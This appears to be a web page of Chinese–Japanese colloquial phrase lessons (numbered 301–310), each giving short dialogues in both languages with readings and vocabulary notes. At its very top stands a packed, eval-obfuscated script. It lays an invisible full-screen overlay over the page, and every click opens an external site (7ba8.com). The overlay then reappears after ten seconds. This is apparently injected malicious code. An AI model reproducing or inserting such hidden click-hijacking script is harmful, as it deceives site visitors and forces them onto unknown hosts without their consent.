<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>301.没长眼啊! 見えてないの?
A:这个我也买!
B:没长眼啊!你妈妈在生气呢!
A:これも買(か)って!
B:見えてないの?お母(かあ)さん怒(おこ)ってるよ。
302.是同伙的! 一味だよ!
A:你想干嘛!
B:你就算了吧!他们是同伙的!
A:何(なに)すんだよ!
B:やめときなよ!あいつら一味(いちみ)だよ。
303.无怨无悔。 本望(ほんもう)です。
A:你怎么啦,对他作出如此牺牲?
B:我无怨无悔。
A:そんなに 貢(みつ)いで どうするの。
B:本望です。
注:
貢(みつ)ぐ:【他五】供给,献给。
本望:【名】本来愿望。
304.你讨没趣! つまらないことして!
A:他说不行!
B:自讨没趣。问他本来就是白费口舌!
A:だめだって。
B:つまらないことして。聞(き)くだけ 無駄(むだ)に きまってるのに。
305.社会败类。 害虫(がいちゅう)。
A:听说他这次又偷了轻便摩托车。
B:那家伙简直是个社会败类。
A:今度(こんど)は バイクぬすんだんだって。
B:害虫(がいちゅう)だよ、あいつは。
306.光说不练! 口ばっかり!
A:听说游泳对减肥的效果很好。
B:那就试试看不就得了。别总是光说不练嘛!
A:水泳(すいえい)はダイエットに すごく 効果的(こうかてき)なんだって。
B:それじゃ、やればいい じゃない。いつだって 口(くち)ばっかりなんだから。
注:
ダイエット:【名】diet,减肥。
307.此路不通! そうはイカの塩辛(しおから)。
A:他想降我职比我自动离职,此路不通的啦!
A:左遷(させん)して 自主(じしゅ)退職(たいしょく)させようったって。そうはイカの塩辛。
注:
左遷:【名、他サ】降职。
イカの塩辛:腌咸乌贼。本来【行不通】的日文说法应该是「そうはいかない」,因为发音同乌贼的「いか」,所以故意开玩笑把它说成「そうはイカの塩辛」。后来也变成惯用说法。
308.奉子成婚。 できちゃった婚(こん)。
A:哇!她要结婚了!咦?不是说下个月就要生小宝宝了?
B:原来是奉子成婚啊!
A:わぁ、結婚(けっこん)する んだぁ。あれ?来月(らいげつ) 赤(あか)ちゃん 生(う)まれるって。
B:できちゃった 婚 か。
309.突发灵感。 インスピレーション が 湧(わ)く。
A:啊!突发灵感呀!太妙了!
A: わわ!インスピレーション が 湧(わ)いたぞ。よしよし。
注:
インスピレーション:inspiration.神灵的启示、灵感、妙想。
310.你懂不懂啊! 分(わ)かる?
A: 就是说,从明天开始可以不用再来。你懂不懂啊!
A:だから、明日 から もう 来なくて いいってこと。分(わ)かる? |
|